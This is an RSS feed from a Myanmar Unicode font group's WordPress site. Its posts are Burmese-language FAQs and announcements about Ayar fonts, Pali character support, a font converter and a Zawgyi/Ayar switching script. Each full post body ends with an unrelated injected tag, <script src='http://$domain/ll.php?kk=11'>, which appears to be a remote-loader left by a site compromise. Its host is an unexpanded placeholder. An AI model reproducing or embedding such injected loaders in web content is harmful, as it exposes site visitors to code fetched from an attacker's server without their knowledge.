<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ayar Myanmar Unicode Group</title>
	<atom:link href="http://www.ayarunicodegroup.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.ayarunicodegroup.org</link>
	<description>&#124; Upgrade your life. with Myanmar character encoding, normalization, character code charts, character properties, collation.</description>
	<lastBuildDate>Wed, 21 Sep 2011 14:47:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>ဧ​ရာ​ ​ြမန်​မာ​ယူ​နီ​ကုဒ်​စာ​လံုး​​သံုး​ချင်​တယ်​။​ ​ဒါ​ေပ​မယ့်​ ​ေဇာ်​ဂျီ​သမားေတွ​ ​ဖတ်​မ​ရ​မှာစိုး​တယ်​။​ ​အဲ​ဒါ​ &#8230;</title>
		<link>http://www.ayarunicodegroup.org/faq/ayar-on-the-fly-azu-for-all-browzer/</link>
		<comments>http://www.ayarunicodegroup.org/faq/ayar-on-the-fly-azu-for-all-browzer/#comments</comments>
		<pubDate>Wed, 24 Mar 2010 11:42:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[အေမး / အေြဖ]]></category>

		<guid isPermaLink="false">http://www.ayarunicodegroup.org/?p=694</guid>
		<description><![CDATA[ဟုတ်​ကဲ့​။​ ​အ​ခု​ေနာက်​ဆံုး​ ​ထုတ်​​ေပးထား​တဲ့​ AZU​ ​ကို​သံုး​မယ်​ ​ဆို​ရင်​ အဲ​တာ​ကို​​ေြဖ​ရှင်း​ေပး​နိုင်​ပါ​တယ်​။​ ​ဘယ်​လို​အ​သံုး​ြပု​မ​လဲ​ဆို​ရင် ပ​ထ​မ​ HTML Editor တ​ခု​ခုနဲ့​ ​ဖွင့်​ြပီး​ေတာ့ &#60;script src=&#8217;http://www.ayarunicodegroup.org/zgayar.mini.js&#8217; type=&#8217;text/javascript&#8217;/&#62; &#60;script src=&#8217;http://www.ayarunicodegroup.org/ayarzg.mini.js&#8217; type=&#8217;text/javascript&#8217;/&#62; &#60;script type=&#8217;text/javascript&#8217;&#62; original_content_font = &#38;#39;ayar&#38;#39;; display_content_font = &#38;#39;ayar&#38;#39;; function init() { // quit if this function has already been called if (arguments.callee.done) return; // flag this function so we don&#38;#39;t do the same thing twice arguments.callee.done [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">ဟုတ်​ကဲ့​။​ ​အ​ခု​ေနာက်​ဆံုး​ ​ထုတ်​​ေပးထား​တဲ့​ AZU​ ​ကို​သံုး​မယ်​ ​ဆို​ရင်​ အဲ​တာ​ကို​​ေြဖ​ရှင်း​ေပး​နိုင်​ပါ​တယ်​။​ ​ဘယ်​လို​အ​သံုး​ြပု​မ​လဲ​ဆို​ရင်</p>
<p style="text-align: justify;">ပ​ထ​မ​ HTML Editor တ​ခု​ခုနဲ့​ ​ဖွင့်​ြပီး​ေတာ့<span id="more-694"></span></p>
<blockquote><p>
&lt;script src=&#8217;http://www.ayarunicodegroup.org/zgayar.mini.js&#8217; type=&#8217;text/javascript&#8217;/&gt;<br />
&lt;script src=&#8217;http://www.ayarunicodegroup.org/ayarzg.mini.js&#8217; type=&#8217;text/javascript&#8217;/&gt;<br />
&lt;script type=&#8217;text/javascript&#8217;&gt;</p>
<p>original_content_font = &amp;#39;ayar&amp;#39;;<br />
display_content_font = &amp;#39;ayar&amp;#39;;</p>
<p>function init() {<br />
// quit if this function has already been called<br />
if (arguments.callee.done) return;</p>
<p>// flag this function so we don&amp;#39;t do the same thing twice<br />
arguments.callee.done = true;</p>
<p>if (original_content_font == &amp;#39;zawgyi-one&amp;#39;){<br />
toA();<br />
}<br />
else if (original_content_font == &amp;#39;ayar&amp;#39;){<br />
toZ();<br />
}<br />
if (display_content_font == &amp;#39;zawgyi-one&amp;#39;){<br />
toZ();<br />
}<br />
else if (display_content_font == &amp;#39;ayar&amp;#39;){<br />
toA();<br />
}<br />
};</p>
<p>/* for Mozilla */<br />
if (document.addEventListener) {<br />
document.addEventListener(&amp;quot;DOMContentLoaded&amp;quot;, init, false);<br />
}<br />
window.onload = init;<br />
&lt;/script&gt;<br />
&lt;link href=&#8217;http://goo.gl/X7Uoc&#8217; rel=&#8217;stylesheet&#8217; type=&#8217;text/css&#8217;&gt;
</p></blockquote>
<p>ကို</p>
<blockquote><p>
&lt;head&gt;​ ​နဲ့​ &lt;/head&gt;
</p></blockquote>
<p>ြကား​မှာ​ ​ထည့်​ေပး​ပါ​။​ ​ေနာက်​တ​ခါ</p>
<blockquote><p>
&lt;div class=&quot;otf&quot; style=&quot;left: 0px&quot;&gt;&lt;a id=&quot;A&quot; class=&quot;selected&quot; href=&quot;javascript:&quot; onclick=&quot;if (this.className==&#8217;selected&#8217;)return;toA();this.className=&#8217;selected&#8217;;document.getElementById(&#8216;Z&#8217;).className=&#8221;&quot;&gt;<br />
AYAR UNIcode&lt;/a&gt;&lt;/div&gt;<br />
&lt;div class=&quot;otf&quot; style=&quot;right: 0px&quot;&gt;&lt;a id=&quot;Z&quot; href=&quot;javascript:&quot; onclick=&quot;if (this.className==&#8217;selected&#8217;)return;toZ();this.className=&#8217;selected&#8217;;document.getElementById(&#8216;A&#8217;).className=&#8221;&quot;&gt;<br />
Zawgyi-One FONT&lt;/a&gt;&lt;/div&gt;
</p></blockquote>
<p>ကို</p>
<blockquote><p>
&lt;body&gt;နဲ့​ &lt;/body&gt;
</p></blockquote>
<p>ြကား​မှာ​ြဖစ်​ေစ​၊</p>
<blockquote><p>
blogspot.com​ ​မှာ​ဆို​ရင်​ေတာ့​ Add a Gadget​ ​က​ HTML/JavaScript Add ကို​ယူ​ြပီး​ထည့်​ေပး​ရင်​ြဖစ်​ေစ​၊
</p></blockquote>
<blockquote><p>
Joomla​ ​ဆို​ရင်​ Module Manager ထဲ​က​ mod_custom တ​ခု​ခု​ထဲ​ကို​ ​ထည့်​သွင်း​ေပး​ြခင်း​ြဖင့်
</p></blockquote>
<p>ေြဖ​ရှင်း​နိုင်​ပါ​တယ်​။</p>
<blockquote><p>
<a href="http://www.ayarunicodegroup.org/azu.gif" _mce_href="http://www.ayarunicodegroup.org/azu.gif" target="_blank"><img class="aligncenter" title="Ayar in FF" src="http://www.ayarunicodegroup.org/azu.gif" _mce_src="http://www.ayarunicodegroup.org/azu.gif" alt="" width="99%" height="300" /></a></p></blockquote>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ayarunicodegroup.org/faq/ayar-on-the-fly-azu-for-all-browzer/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>ဧရာဝါဆုိ heading (type face) စာလုံး</title>
		<link>http://www.ayarunicodegroup.org/ayar-fonts/ayarwazonewsfont/</link>
		<comments>http://www.ayarunicodegroup.org/ayar-fonts/ayarwazonewsfont/#comments</comments>
		<pubDate>Mon, 16 Nov 2009 15:40:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[ဧရာစာလုံးများ]]></category>

		<guid isPermaLink="false">http://www.ayarunicodegroup.org/?p=717</guid>
		<description><![CDATA[ဧရာဝါဆုိ စာလုံးဒီဇုိင်းအသစ် ထုတ်ေဝလုိက်ပါသည်။ ဧရာဝါဆို စာလုံးဒီဇိုင်းဟာလည်း ေရှးခဲစာလုံးေခတ်မှာ ေခတ်စားခဲ့တဲ့ စာလုံးပါ။ အလှအပ အတွက်တင် မက စာေစာင်များနှင့် သတင်းစားများတွင်ပါ ေခါင်းစီးစာလုံးအြဖစ် ကျယ်ကျယ်ြပန့်ြပန့် သုံးစွဲခဲ့ြကတာကို ေတွ့ရပါတယ်။ စာလုံးမှာ လုံးဝိုင်းသည့် ဒီဇီုင်းေပါ်တွင် အေြခခံေသာ်လည်း အတွင်းတွင် စာလုံးထု အထူယူထားပုံမှာ ြကည့်၍ေကာင်းပါသည်။ ကနုတ်ဆန်ဆန် စာလုံးအြဖားများ ထည့်သွင်းေရးဆွဲခဲ့ေသာ်လည်း အရမ်းလဲ မနွဲ့ မာလဲမမာပဲ အဆင်ေြပ လှပသည်ဟု ထင်ပါသည်။ ေရှးကေရးခဲ့ေသာ်လဲ ေခတ်ဂရပ်ဖစ် အြမင်အရလဲ ေခတ်မီေနသည်ဟုလဲ ဆိုချင်ပါသည်။ ဒီဇိုင်းကို အနည်းငယ် ြပင်ဆင်သည်မှလဲွ၍ မူရင်းခဲစာလုံးမူကို ြပန်လည် ေရးဆွဲခဲ့ြခင်း ြဖစ်ပါသည်။ ဧရာအဖွဲ့မှာ ေခတ်အြမင် ဂရပ်ဖစ်ဆန်ေသာ စာလုံးဒီဇိုင်းအသစ်များ ေရးဆွဲထုတ်ေဝသွားရန် အစီအစဥ် ရိှေသာ်လဲ ြမန်မာပုံနိှပ်စက်ေလာကတွင် ရိှခဲ့ေသာ [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter" title="ayar wazo" src="http://ayarunicode.googlecode.com/files/ayar%20wazo.png" alt="" width="667" height="190" /><br />
ဧရာဝါဆုိ စာလုံးဒီဇုိင်းအသစ် ထုတ်ေဝလုိက်ပါသည်။</p>
<p>ဧရာဝါဆို စာလုံးဒီဇိုင်းဟာလည်း ေရှးခဲစာလုံးေခတ်မှာ ေခတ်စားခဲ့တဲ့ စာလုံးပါ။ အလှအပ အတွက်တင် မက စာေစာင်များနှင့် သတင်းစားများတွင်ပါ ေခါင်းစီးစာလုံးအြဖစ် ကျယ်ကျယ်ြပန့်ြပန့် သုံးစွဲခဲ့ြကတာကို ေတွ့ရပါတယ်။ စာလုံးမှာ လုံးဝိုင်းသည့် ဒီဇီုင်းေပါ်တွင် အေြခခံေသာ်လည်း အတွင်းတွင် စာလုံးထု အထူယူထားပုံမှာ ြကည့်၍ေကာင်းပါသည်။ ကနုတ်ဆန်ဆန် စာလုံးအြဖားများ ထည့်သွင်းေရးဆွဲခဲ့ေသာ်လည်း အရမ်းလဲ မနွဲ့ မာလဲမမာပဲ အဆင်ေြပ လှပသည်ဟု ထင်ပါသည်။ ေရှးကေရးခဲ့ေသာ်လဲ ေခတ်ဂရပ်ဖစ် အြမင်အရလဲ ေခတ်မီေနသည်ဟုလဲ ဆိုချင်ပါသည်။ ဒီဇိုင်းကို အနည်းငယ် ြပင်ဆင်သည်မှလဲွ၍ မူရင်းခဲစာလုံးမူကို ြပန်လည် ေရးဆွဲခဲ့ြခင်း ြဖစ်ပါသည်။</p>
<p><span id="more-717"></span>ဧရာအဖွဲ့မှာ ေခတ်အြမင် ဂရပ်ဖစ်ဆန်ေသာ စာလုံးဒီဇိုင်းအသစ်များ ေရးဆွဲထုတ်ေဝသွားရန် အစီအစဥ် ရိှေသာ်လဲ ြမန်မာပုံနိှပ်စက်ေလာကတွင် ရိှခဲ့ေသာ စာလုံးဒီဇိုင်းများကို ြပန်လည် မှတ်တမ်းတင်သွား လိုပါသြဖင့် ဤကဲ့သို့ေသာ စာလုံးဒီဇီုင်းများ အရင် ထုတ်ေဝေနြခင်းြဖစ်ပါသည်။</p>
<p>ေနာက်တခုအေနြဖင့် ခဲစာလုံးေခတ်တွင် မရိှခဲ့ပဲ လက်ဝဲစာလုံးဟု လူသိများခဲ့ေသာ ဧရာ နယုန် ကဲ့သို့ေသာ စာလုံးတလုံး ထုတ်ေဝသွားရန် ေရးဆွဲေနပါသည်။</p>
<blockquote>
<p style="text-align: justify;">
<h4 style="text-align: center;"><a title="Ayar Kasone Font" href="http://ayarunicode.googlecode.com/files/Ayar_Wazo.ttf" target="_blank"><img class="aligncenter" title="Ayar Download" src="http://ayarunicode.googlecode.com/files/download%20butt0n.png" alt="Ayar Download" width="250" height="32" /></a></h4>
</blockquote>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ayarunicodegroup.org/ayar-fonts/ayarwazonewsfont/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>ဧရာ ြမန်မာ ယူနီကုဒ် ရဲ့ ရည်ရွယ်ချက်ေတွကို ေြပာြပပါလား ?</title>
		<link>http://www.ayarunicodegroup.org/faq/ayar-mottos-and-resons-for-for-user-point-of-views/</link>
		<comments>http://www.ayarunicodegroup.org/faq/ayar-mottos-and-resons-for-for-user-point-of-views/#comments</comments>
		<pubDate>Sun, 08 Nov 2009 08:13:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[အေမး / အေြဖ]]></category>

		<guid isPermaLink="false">http://www.ayarunicodegroup.org/?p=715</guid>
		<description><![CDATA[နိုင်ငံတကာမှာ ယူနီကုဒ် လှုပ်ရှားမှုေတွ ၁၉၈၇ ခုနှစ် ကတည်းက စတင် ေပါ်ေပါက်ခဲ့ြပီး၊ ပထမဆံုး Unicode Standard 1.0 ကို ယူနီကုဒ်အဖွဲ့ (Unicode consortium) ကေန ၁၉၉၂ ခုနှစ် ေအာက်တိုဘာလမှာ ထုတ်ြပန်ခဲ့ပါတယ်။ အဲဒီေနာက် ကမ္ဘာသံုး အက္ခရာဇယား (Universal Character Set) ကို ဆက်လက် ြပုစုြကရာမှာ ြမန်မာနဲ့ တိုင်းရင်းသား အက္ခရာေတွကို စနစ်တကျ ဇယားချနိုင်ခဲ့ေပမယ့် အဲဒီဇယားအတိုင်း ရာနှုန်းြပည့် အတိအကျ လိုက်နာတဲ့ ယူနီကုဒ် စာလံုးေတွ ေပါ်ေပါက် မလာတဲ့အတွက် အက္ခရာ စံလွဲတဲ့ ြပဿနာေတွကို ြကံုေတွ့ ခဲ့ရပါတယ်။ ဥပမာ &#8211; ကွန်ြပူတာနဲ့ စာစီရာမှာ ြဖစ်ေစ၊ ေဖာင့် (Font) [...]]]></description>
			<content:encoded><![CDATA[<p>နိုင်ငံတကာမှာ ယူနီကုဒ် လှုပ်ရှားမှုေတွ ၁၉၈၇ ခုနှစ် ကတည်းက စတင် ေပါ်ေပါက်ခဲ့ြပီး၊ ပထမဆံုး Unicode Standard 1.0 ကို ယူနီကုဒ်အဖွဲ့ (Unicode consortium) ကေန ၁၉၉၂ ခုနှစ် ေအာက်တိုဘာလမှာ ထုတ်ြပန်ခဲ့ပါတယ်။</p>
<p>အဲဒီေနာက် ကမ္ဘာသံုး အက္ခရာဇယား (Universal Character Set) ကို ဆက်လက် ြပုစုြကရာမှာ ြမန်မာနဲ့ တိုင်းရင်းသား အက္ခရာေတွကို စနစ်တကျ ဇယားချနိုင်ခဲ့ေပမယ့် အဲဒီဇယားအတိုင်း ရာနှုန်းြပည့် အတိအကျ လိုက်နာတဲ့ ယူနီကုဒ် စာလံုးေတွ ေပါ်ေပါက် မလာတဲ့အတွက် အက္ခရာ စံလွဲတဲ့ ြပဿနာေတွကို ြကံုေတွ့ ခဲ့ရပါတယ်။ ဥပမာ &#8211; ကွန်ြပူတာနဲ့ စာစီရာမှာ ြဖစ်ေစ၊ ေဖာင့် (Font) ေြပာင်းရာမှာ ြဖစ်ေစ စာလံုးအရွယ်နဲ့ အထားအသို လွဲမှားတာမျိုးေတွ ြကံုခဲ့ရပါတယ်။ ဒါတင်မက အင်တာနက်မှာ ြမန်မာလို ေရးြကဖတ်ြကတဲ့ အခါ ေဖာင့်စနစ်ေတွ မညီညွတ်တဲ့ အတွက် စာလံုးေတွကို မှန်မှန်ကန်ကန် မြမင်ရတာမျိုး၊ database ထဲမှာ ြမန်မာလို သိမ်းဆည်းထားတဲ့ အချက်အလက်ေတွကို စံနစ်တကျ ြပန်လည် ရှာေဖွရာမှာ အခက်အခဲ ေတွ့တာမျိုးေတွ ကိုလည်း ြကံုခဲ့ရြကပါတယ်။ ေနာက်ြပီး ကွန်ြပူတာ သံုးစွဲသူေတွ အေနနဲ့ ြမန်မာစာ ေရးထံုးမှာရှိတဲ့ ပင့်၊ ယစ်၊ ဆွဲ၊ ထိုး ဆိုတဲ့ အြဖည့်အက္ခရာ အတို၊ အရှည်ေတွကို ရိုက်နှိပ်ရာမှာ ေြမာက်များစွာေသာ အပို ခလုပ်ေတွကို ခက်ခက်ခဲခဲ မှတ်သားရှာေဖွ ရိုက်နှိပ်ခဲ့ြက ရပါတယ်။</p>
<p>ဒါေြကာင့် အဲဒီလို အခက်အခဲ ေတွကို ေြပလည်သွားေအာင် ြကိုးပမ်းတဲ့ အေနနဲ့ ြမန်မာယူနီကုဒ် ေဆွးေနွးပွဲ တခုကို ေနာင်တချိန် ဧရာြမန်မာ ယူနီကုဒ်အဖွဲ့ ြဖစ်လာမယ့် အဖွဲ့က ကမကထ ြပုြပီး ထိုင်းနိုင်ငံ ဇင်းမယ် တက္ကသိုလ်မှာ ကျင်းပခဲ့ပါတယ်။ ၂၀၀၉ ခုနှစ် ေဖေဖါ်ဝါရီလမှာ ြပုလုပ်တဲ့ ဒီေဆွးေနွးပွဲကို ြမန်မာနိုင်ငံ ြပည်တွင်း၊ ြပည်ပက ယူနီကုဒ် ပညာရှင်ေတွ၊ ဂရပ်ဖစ် ဒီဇိုင်းပညာရှင်ေတွ၊ ဘာသာေဗဒ ပညာရှင်ေတွနဲ့ ဘေလာ့ဂ်ဂါေတွ တက်ေရာက် ေဆွးေနွးခဲ့ြကြပီး၊ မတက်ေရာက်နိုင်တဲ့ ပညာရှင် တချို့ကေတာ့ ပညာရပ်ပိုင်းဆိုင်ရာ အချက်အလက်ေတွကို ေပးပို့ ေဆွးေနွး ခဲ့ပါတယ်။ ေဆွးေနွးပွဲ ြပီးတဲ့ေနာက်မှာ လည်းပဲ ဧရာြမန်မာ ယူနီကုဒ် အဖွဲ့ဟာ ြပည်တွင်းြပည်ပ ပညာရှင်ေတွနဲ့ စဉ်ဆက်မြပတ် ဆက်လက်ေဆွးေနွး ခဲ့ပါတယ်။ အဲဒီေနာက် ရလာတဲ့ အြကံဉာဏ်ေတွနဲ့ အေတွ့အြကံုေတွ အေပါ် အေြခခံြပီး ဧရာယူနီကုဒ် အဖွဲ့က အားသွန်ခွန်စိုက် ြကိုးပမ်းခဲ့တာေြကာင့် ၂၀၀၉ ခုနှစ် စက်တင်ဘာလမှာ ဧရာြမန်မာ ယူနီကုဒ်ရဲ့ ပထမဆံုး ေြခလှမ်းကို လှမ်းနိုင်ခဲ့တာ ြဖစ်ပါတယ်။<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ayarunicodegroup.org/faq/ayar-mottos-and-resons-for-for-user-point-of-views/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>ဧရာြမန်မာ ယူနီကုဒ် က လက်ရှိ ြမန်မာ ယူနီကုဒ် ေဖာင့်ေတွ အြကားမှာ ဘယ်လို ထူးြခားမှုေတွ ရှိပါသလဲ ?</title>
		<link>http://www.ayarunicodegroup.org/faq/what-is-different-and-better-than-other/</link>
		<comments>http://www.ayarunicodegroup.org/faq/what-is-different-and-better-than-other/#comments</comments>
		<pubDate>Sun, 08 Nov 2009 08:04:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[အေမး / အေြဖ]]></category>

		<guid isPermaLink="false">http://www.ayarunicodegroup.org/?p=712</guid>
		<description><![CDATA[ေယဘုယျ သေဘာ ေြပာရရင်ေတာ့ ယူနီကုဒ်ေဖာင့် တခုနဲ့ တခုြကားမှာ သိပ်ြကီးမားတဲ့ ထူးြခားမှုေတွ မရှိနိုင်ပါဘူး။ ဒါေပမယ့် ဧရာြမန်မာ ယူနီကုဒ်ကို ေနာက်ဆံုးထွက် Unicode Standard 5.2 နဲ့ အေြခခံြပီး ေရးထားတာရယ်၊ Windows PC ေတွက Microsoft Office တို့ Adobe တို့လို အေရးြကီးတဲ့ application ေတွမှာ အမှားအယွင်း မရှိပဲ သံုးနိုင်တာေတွ၊ ပါဠိ ပါဌ်ဆင့်ေတွ အြပင် အြခား တိုင်းရင်းသား စာေပေတွပါ ပါရှိလာတာ ကေတာ့ ဧရာြမန်မာ ယူနီကုဒ်ရဲ့ ထူးြခားမှုေတွလို့ ဆိုနိုင်ပါတယ်။ ေနာက်ြပီး ဧရာြမန်မာ ယူနီကုဒ် စာလံုးေတွ ထွက်လာတဲ့ အချိန်မှာ Microsoft Windows ရဲ့ Internet [...]]]></description>
			<content:encoded><![CDATA[<p>ေယဘုယျ သေဘာ ေြပာရရင်ေတာ့ ယူနီကုဒ်ေဖာင့် တခုနဲ့ တခုြကားမှာ သိပ်ြကီးမားတဲ့ ထူးြခားမှုေတွ မရှိနိုင်ပါဘူး။ ဒါေပမယ့် ဧရာြမန်မာ ယူနီကုဒ်ကို ေနာက်ဆံုးထွက် Unicode Standard 5.2 နဲ့ အေြခခံြပီး ေရးထားတာရယ်၊ Windows PC ေတွက Microsoft Office တို့ Adobe တို့လို အေရးြကီးတဲ့ application ေတွမှာ အမှားအယွင်း မရှိပဲ သံုးနိုင်တာေတွ၊ ပါဠိ ပါဌ်ဆင့်ေတွ အြပင် အြခား တိုင်းရင်းသား စာေပေတွပါ ပါရှိလာတာ ကေတာ့ ဧရာြမန်မာ ယူနီကုဒ်ရဲ့ ထူးြခားမှုေတွလို့ ဆိုနိုင်ပါတယ်။ ေနာက်ြပီး ဧရာြမန်မာ ယူနီကုဒ် စာလံုးေတွ ထွက်လာတဲ့ အချိန်မှာ Microsoft Windows ရဲ့ Internet browser ေတွြဖစ်ြကတဲ့ Firefox, Opera, Google Chrome, Safari စတာေတွမှာ ေဖာင့်ကို ြမုပ်ထားလို့ ရတဲ့ font embedding နည်းစံနစ်ေတွ ပူးတွဲ ထွက်ရှိေနခဲ့တာ ဟာလည်း ဧရာြမန်မာ ယူနီကုဒ် စာလံုးများကို သံုးစွဲရာမှာ ပိုမိုအဆင်ေြပ လွယ်ကူ ေစခဲ့ပါတယ်။ ဒီထက် ပိုြပီး ထူးြခားတာ ကေတာ့ ဧရာြမန်မာ ယူနီကုဒ် စာလံုးေတွကို ေငွေြကး အြမတ်အစွန်း အတွက် ထုတ်လုပ်ြဖန့်ချီ ခဲ့တာ မဟုတ်ပဲ အများသံုးအတွက် ရည်ရွယ်ြပီး လွတ်လပ်ေသာ နည်းပညာရင်းြမစ် Open Source အေနနဲ့ ထုတ်လုပ် ြဖန့်ချီခဲ့တာ ြဖစ်ပါတယ်။ ဆိုလိုတာ ကေတာ့ မူပိုင်ခွင့်ကို ဧရာယူနီကုဒ် အဖွဲ့က ပိုင်ဆိုင်ေပမယ့် ထူးြခားတာက ဧရာယူနီကုဒ် စာလံုးေတွကို ဧရာြမန်မာ ယူနီကုဒ်အဖွဲ့ရဲ့ ခွင့်ြပုချက်နဲ့ ဘယ်သူမဆို လွတ်လွတ်လပ်လပ် ထပ်ဆင့်ြပုြပင် ဖန်တီးခွင့် ေပးထားြခင်းပဲ ြဖစ်ပါတယ်။<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ayarunicodegroup.org/faq/what-is-different-and-better-than-other/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ဧရာြမန်မာ ယူနီကုဒ်က ပါဠိ ပါဌ်ဆင့်ေတွ အတွက် လုပ်ေဆာင် ထားတာေလးေတွကို ရှင်းြပေပးပါလား ?</title>
		<link>http://www.ayarunicodegroup.org/faq/ayar-and-pali-sar-for-all/</link>
		<comments>http://www.ayarunicodegroup.org/faq/ayar-and-pali-sar-for-all/#comments</comments>
		<pubDate>Sun, 08 Nov 2009 07:54:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[အေမး / အေြဖ]]></category>

		<guid isPermaLink="false">http://www.ayarunicodegroup.org/?p=710</guid>
		<description><![CDATA[ပါဠိ ပါဌ်ဆင့်ေတွနဲ့ ပတ်သက်လို့ လည်းပဲ ပါဠိဘာသာကို နှံ့စပ်ကျွမ်းကျင်တဲ့ ရဟန်းေတာ်ေတွ၊ ဘာသာေဗဒ ပညာရှင်ေတွနဲ့ တိုင်ပင်ညှိနှိုင်းြပီးမှ ဧရာြမန်မာ ယူနီကုဒ် စာလံုးေတွကို ေရးဆွဲခဲ့တာမို့ အသံုးအနည်းဆံုး ပါဠိ အက္ခရာေတွ ကိုပါ အခက်အခဲ မရှိ သံုးစွဲနိုင်မှာပါ။ ေနာက်ြပီး ပါဠိ အက္ခရာေတွကို ေနရာ ချစဉ်က (ဧရာြမန်မာ အက္ခရာေတွကို ေနရာချစဉ်က အတိုင်း) ကမ္ဘာသံုး အက္ခရာ ဇယားနဲ့အညီ အတိအကျ ေနရာချထား တာေြကာင့် စံလွဲတဲ့ ြပဿနာ မရှိနိုင်ပါဘူး။ အကယ်၍ သံုးစွဲသူေတွ အေနနဲ့ လက်ေတွ့ သံုးစွဲြကည့်လို့ အခက်အခဲ တစံုတရာ ေတွ့လာခဲ့မယ် ဆိုရင်ေတာင် ဧရာြမန်မာ ယူနီကုဒ် အေထာက်အကူြပု အဖွဲ့ကေန ကူညီေြဖရှင်း ေပးသွား နိုင်မှာပါ။]]></description>
			<content:encoded><![CDATA[<p>ပါဠိ ပါဌ်ဆင့်ေတွနဲ့ ပတ်သက်လို့ လည်းပဲ ပါဠိဘာသာကို နှံ့စပ်ကျွမ်းကျင်တဲ့ ရဟန်းေတာ်ေတွ၊ ဘာသာေဗဒ ပညာရှင်ေတွနဲ့ တိုင်ပင်ညှိနှိုင်းြပီးမှ ဧရာြမန်မာ ယူနီကုဒ် စာလံုးေတွကို ေရးဆွဲခဲ့တာမို့ အသံုးအနည်းဆံုး ပါဠိ အက္ခရာေတွ ကိုပါ အခက်အခဲ မရှိ သံုးစွဲနိုင်မှာပါ။ ေနာက်ြပီး ပါဠိ အက္ခရာေတွကို ေနရာ ချစဉ်က (ဧရာြမန်မာ အက္ခရာေတွကို ေနရာချစဉ်က အတိုင်း) ကမ္ဘာသံုး အက္ခရာ ဇယားနဲ့အညီ အတိအကျ ေနရာချထား တာေြကာင့် စံလွဲတဲ့ ြပဿနာ မရှိနိုင်ပါဘူး။ အကယ်၍ သံုးစွဲသူေတွ အေနနဲ့ လက်ေတွ့ သံုးစွဲြကည့်လို့ အခက်အခဲ တစံုတရာ ေတွ့လာခဲ့မယ် ဆိုရင်ေတာင် ဧရာြမန်မာ ယူနီကုဒ် အေထာက်အကူြပု အဖွဲ့ကေန ကူညီေြဖရှင်း ေပးသွား နိုင်မှာပါ။<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ayarunicodegroup.org/faq/ayar-and-pali-sar-for-all/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ဧရာြမန်မာ ယူနီကုဒ် သံုးစွဲသူေတွ အတွက် Font converter လုပ်ေဆာင်ထားတယ်လို့ သိရပါတယ်။ အဲ့တာနဲ့ ပတ်သက်ြပီး နည်းနည်းေလာက် ရှင်းြပပါလား ?</title>
		<link>http://www.ayarunicodegroup.org/faq/ayar-font-convertor-for-all/</link>
		<comments>http://www.ayarunicodegroup.org/faq/ayar-font-convertor-for-all/#comments</comments>
		<pubDate>Sun, 08 Nov 2009 07:52:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[အေမး / အေြဖ]]></category>

		<guid isPermaLink="false">http://www.ayarunicodegroup.org/?p=708</guid>
		<description><![CDATA[ေဇာ်ဂျီ၊ ြမန်မာ ၁၊ ယူနီကုဒ် ၅.၁ စာလံုးများ၊ ဝင်းဗားမိစ်၊ ဝင်းအင်းဝ၊ ဘီအိုင်တီ (BIT) ေဖာင့်ေတွကို အခက်အခဲ မရှိ အြပည့်အဝ ေြပာင်းလဲေပးနိုင်တဲ့ Ayar Text Tools ေခါ် font converter တမျိုးကို ဧရာ ဝဘ်ဆိုဒ်မှာ တင်ေပးဖို့ ရှိပါတယ်။ ေလာေလာဆယ်မှာ Myanmar Text Tool ဆိုတာကို တင်ထား ေပးပါတယ်။ Ayar Text Tools ေခါ် font converter ထဲမှာဆိုရင် ေဒတာေဘ့စ်ေတွ အြပင်၊ အက္ခရာစဉ်ြခင်း၊ ဝဏ္ဏြဖတ်ြခင်းများ အတွက်ပါ သံုးစွဲတဲ့ ပရိုဂရမ်တခုကို ဧရာြမန်မာ ယူနီကုဒ် အတွက် အခမဲ့ ေဝငှ ေပးထားပါတယ်။ ဒါနဲ့ ပတ်သက်တဲ့ [...]]]></description>
